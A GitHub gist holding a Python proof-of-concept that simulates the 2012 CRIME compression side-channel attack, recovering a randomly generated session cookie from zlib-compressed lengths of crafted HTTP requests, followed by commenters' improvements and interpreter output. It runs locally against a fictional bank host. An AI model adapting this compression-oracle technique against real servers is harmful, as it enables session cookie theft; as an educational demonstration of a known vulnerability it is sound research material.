Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="
COOKIE = ''.join(random.choice(charset) for x in range(30))
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret=" + COOKIE + "\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
BODY = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="
)
BODY_SUFFIX=("\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
cookie = ""
def compress(data):
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def findnext(b,bs,charset):
#print "body len",len(b)
baselen = len(compress(HEADERS +
b +
bs))
possible_chars = []
for c in charset:
length = len(compress(HEADERS +
b +
c +
bs))
#print repr(c), length, baselen
if length <= baselen:
possible_chars.append(c)
#print '=', possible_chars
return possible_chars
def exit():
print "Original cookie: %s" % COOKIE
print "Leaked cookie : %s" % cookie
sys.exit(1)
def forward():
global cookie
while len(cookie) < len(COOKIE):
chop = 1
possible_chars = findnext(BODY + cookie, "", charset)
body_tmp = BODY
orig = possible_chars
while not len(possible_chars) == 1:
if len(body_tmp) < chop:
#print "stuck at", possible_chars
return False
body_tmp = body_tmp[chop:]
possible_chars = findnext(body_tmp + cookie, "", orig)
cookie = cookie + possible_chars[0]
return True
while BODY.find("\r\n") >= 0:
if not forward():
cookie = cookie[:-1]
if len(cookie) >= len(COOKIE):
exit()
print "reducing body"
BODY = BODY[BODY.find("\r\n") + 2:]
exit()
Owner

koto commented Sep 11, 2012

It DOES need improvement, currently it mostly detects the beginning of the cookie (~10 chars)

Owner

koto commented Sep 11, 2012

Now it works completely

Owner

koto commented Sep 11, 2012

Now it works flawlessly, though it's probably very inefficient.

There is no need for (guessing and) adding a whole POST into the body. This works quite nice:

>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=C"))
289
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=X"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XS"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XU"))
289

xorninja here. one question: why do you repeat the headers in HEADERS and BODY, then compress them twice?

def findnext(b,bs,charset):
#print "body len",len(b)
baselen = len(compress(HEADERS +
b +
bs))

possible_chars = findnext(BODY + cookie, "", charset)

Ah I got it. One question: does the browsers do any encoding on the POST body?

Ah it seems that you can force the browser not to do any kind of encoding. Very nice!

Owner

koto commented Sep 11, 2012

@stamparm - I started with the shorter body, but practice shows that it rarely gave away full cookie. With longer body it's working much much better.

SpartoK commented Feb 22, 2013

@koto : hello, could you tell me what do you mean when you say "with longer body it's working much much better"

I don't quite see what I should modify in this source code :/

Thank you

NirmalL commented Dec 20, 2015

@SpartoK, see @koto's examples/explanation here, regarding body length :-)

cidevant commented Aug 6, 2016

Why do you need BODY_SUFFIX var??

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment